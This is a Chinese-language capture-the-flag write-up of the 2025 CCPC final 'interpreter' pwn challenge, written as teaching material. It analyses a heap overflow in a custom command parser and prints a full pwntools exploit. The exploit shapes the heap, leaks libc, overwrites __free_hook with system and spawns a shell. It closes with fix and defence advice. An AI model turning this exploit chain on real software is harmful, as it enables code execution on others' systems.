2025ccb决赛interpreter
字数 1513
更新时间 2026-04-25 12:06:51
2025 CCPC 总决赛 interpreter 题目解析与漏洞利用教学文档
一、题目概述
题目名称:interpreter
技术领域:二进制安全/漏洞利用(Pwn)
题目类型:序列化解析器漏洞
涉及技术:堆溢出、堆管理机制利用、libc泄漏、ROP链构造
二、程序功能与逻辑分析
2.1 基本命令结构
程序实现了一个简单的命令行解释器,支持三个基本命令:
- add - 添加数据
- delete - 删除数据
- show - 显示数据
2.2 输入解析机制
程序通过扫描字符串解析命令,遇到空格、冒号或字符串结尾时停止:
for (s_1 = s; *s_1 != ' ' && *s_1 && *s_1 != ':'; ++s_1)
;
等价于:
s_1 = s;
while (*s_1 != ' ' && *s_1 && *s_1 != ':')
++s_1;
2.3 命令处理流程
if (*date == ':' || !*date)
goto LABEL_15;
*date = 0;
if (!strcmp(s, "add")) {
add(date + 1);
} else if (!strcmp(s, "delete")) {
delete(date + 1);
} else {
if (strcmp(s, "show")) {
LABEL_15:
puts("Invalid command");
return __readfsqword(0x28u) ^ v3;
}
show(date + 1);
}
三、核心函数分析
3.1 add函数分析
函数原型:add(const char* data)
3.1.1 输入格式
- 基本格式:
add data:title:aa|subtitle:bb - 解析逻辑:以冒号为分隔符,
data:后的内容是实际处理的数据
3.1.2 关键代码逻辑
if (!strcmp(data, "data")) {
s1a = (char *)&data[i + 1];
for (j = 0; s1a[j]; ++j)
;
// 数据存储
if (s2) {
sub_CF7(s2, (__int64)s1a);
*((_DWORD *)inited + 1) = j;
*((_QWORD *)inited + 1) = s2;
}
}
3.1.3 初始化函数
char *init_choice() {
int n15;
for (n15 = 0; n15 <= 15; ++n15) {
if (!heapptr[2 * n15] && !*((_DWORD *)&unk_2020A4 + 4 * n15))
return (char *)&heaplist + 16 * n15;
}
return 0;
}
- 遍历16个槽位,找到空闲位置
- 返回堆表指针
3.2 sub_CF7函数(关键解析函数)
3.2.1 基本解析逻辑
while (1) {
s2 = a1;
for (i = 0; a1[i] != ':' && a1[i] != '|' && a1[i]; ++i)
;
if (!a1[i])
return __readfsqword(0x28u) ^ v18;
if (a1[i] == '|') {
a1 += (unsigned int)(i + 1);
} else {
// 处理标签和数据
}
}
3.2.2 标签类型
程序识别四种标签:
title(0x15D4)subtitle(0x15DA)remark(0x15E3)author(0x15EA)
3.2.3 数据重构逻辑
if (v9) {
v3 = v9++;
a1_[v3] = '|';
}
_title__1 = off_202020[n3]; // "title"
while (*_title__1) {
v4 = _title__1++;
v5 = v9++;
a1_[v5] = *v4;
}
v6 = v9++;
a1_[v6] = 58; // ':'
for (k = 0; j > k; ++k) {
v7 = v9++;
a1_[v7] = *(_BYTE *)((int)k + v17);
}
*(_BYTE *)(j + v17) = 0;
3.3 delete函数分析
unsigned __int64 __fastcall delete(const char *s1_1) {
// ...
if (!strcmp(s1_1, "index")) {
s1a = (char *)&s1_1[i + 1];
for (j = 0; s1a[j] != ' ' && s1a[j]; ++j)
;
n0xF = atoi(s1a);
if (n0xF <= 0xF) {
v7 = (void **)((char *)&heaplist + 16 * n0xF);
if (v7[1]) {
free(v7[1]);
v7[1] = 0;
*((_DWORD *)v7 + 1) = 0;
printf("Deleted data #%d\n", n0xF);
}
}
}
}
四、漏洞分析
4.1 漏洞位置
在sub_CF7函数的数据重构过程中存在堆溢出漏洞。当重构后的字符串长度超过原始分配的缓冲区大小时,会发生溢出。
4.2 漏洞触发条件
- 输入特定的数据格式导致字符串重构
- 重构后的字符串长度大于原始分配空间
- 溢出覆盖相邻堆块的管理结构
4.3 关键漏洞代码
for (k = 0; j > k; ++k) {
v7 = v9++;
a1_[v7] = *(_BYTE *)((int)k + v17);
}
// 潜在的溢出点:v9可能超过缓冲区大小
五、漏洞利用(Exploit)详解
5.1 利用思路
- 堆布局准备:通过多次add/delete操作塑造堆布局
- 信息泄露:利用堆溢出泄露libc地址
- 控制流劫持:覆盖
__free_hook为system函数地址 - 获取shell:释放包含
/bin/sh的堆块
5.2 完整Exploit代码分析
5.2.1 初始化和堆布局
def exploit(io):
# 创建不同大小的堆块塑造堆布局
add(io, b"A" * 0x27) # chunk 0
add(io, b"A" * 0xF7) # chunk 1
add(io, b"HHHHHH1") # chunk 2
add(io, b"HHHHHH2") # chunk 3
add(io, b"B" * 0xF7) # chunk 4
add(io, b"C" * 0xF7) # chunk 5
add(io, b"D" * 0xF7) # chunk 6
add(io, b"E" * (0xF7 - 0x40)) # chunk 7
add(io, b"F" * 0xF7) # chunk 8
add(io, b"F" * 0xF7) # chunk 9
add(io, b"F" * 0xF7) # chunk 10
add(io, b"F" * 0xF7) # chunk 11
5.2.2 触发漏洞和堆风水
# 释放一些堆块创建空洞
delete(io, 0)
delete(io, 2)
delete(io, 3)
# 关键:触发解析器bug,使重构字符串写入超出其strdup分配的空间
add(io, b":title:AAAAAAAAA:subtitle:A" + p32(0x601))
delete(io, 1)
add(io, b"A" * 0x4F7) # 触发堆合并等操作
5.2.3 泄露libc地址
show(io)
io.recvuntil(b"Data #8:\n")
io.recvuntil(b": ")
leak = u64(io.recv(6).ljust(8, b"\x00"))
libc.address = leak - 0x3EBCA0
log.success(f"libc base: {hex(libc.address)}")
5.2.4 控制流劫持
# 通过堆操作准备覆盖目标
delete(io, 1)
add(io, b"Y" * 0x127)
delete(io, 1)
add(io, b"Y" * 0x126)
delete(io, 1)
add(io, b"Y" * 0x125)
delete(io, 1)
# 覆盖__free_hook为system
add(io, b"Y" * 0x120 + p64(libc.sym["__free_hook"]))
add(io, b"/bin/sh\x00")
add(io, p64(libc.sym["system"]))
# 触发system("/bin/sh")
delete(io, 2)
5.3 技术要点
- 堆风水(Heap Feng Shui):通过精心安排堆块的分配和释放,控制堆布局
- unlink利用:利用堆溢出修改相邻堆块的元数据
- tcache攻击:现代glibc堆利用的常见技术
- __free_hook劫持:覆盖全局钩子函数指针控制程序流
六、防护与修复建议
6.1 漏洞修复
- 边界检查:在字符串重构时添加长度检查
- 安全的内存操作:使用安全函数如
strncpy替代不安全的复制 - 输入验证:严格验证用户输入的格式和长度
6.2 防御措施
- 堆完整性检查:启用glibc的完整性检查
- 地址空间布局随机化(ASLR):虽然被绕过,但仍增加利用难度
- 控制流完整性(CFI):防止控制流劫持
- 堆隔离:将敏感数据与用户数据隔离
七、学习要点总结
- 序列化解析器安全:自定义解析器常因边界检查不严导致漏洞
- 堆溢出利用技术:理解堆管理机制是成功利用的关键
- 现代漏洞利用链:从信息泄露到控制流劫持的完整链条
- 调试与分析技巧:静态分析与动态调试相结合
- 利用脚本编写:自动化漏洞利用过程
注:本文档基于提供的链接内容整理,详细描述了2025 CCPC总决赛interpreter题目的漏洞原理和利用方法。实际利用时需根据具体环境和保护机制进行调整。
相似文章
相似文章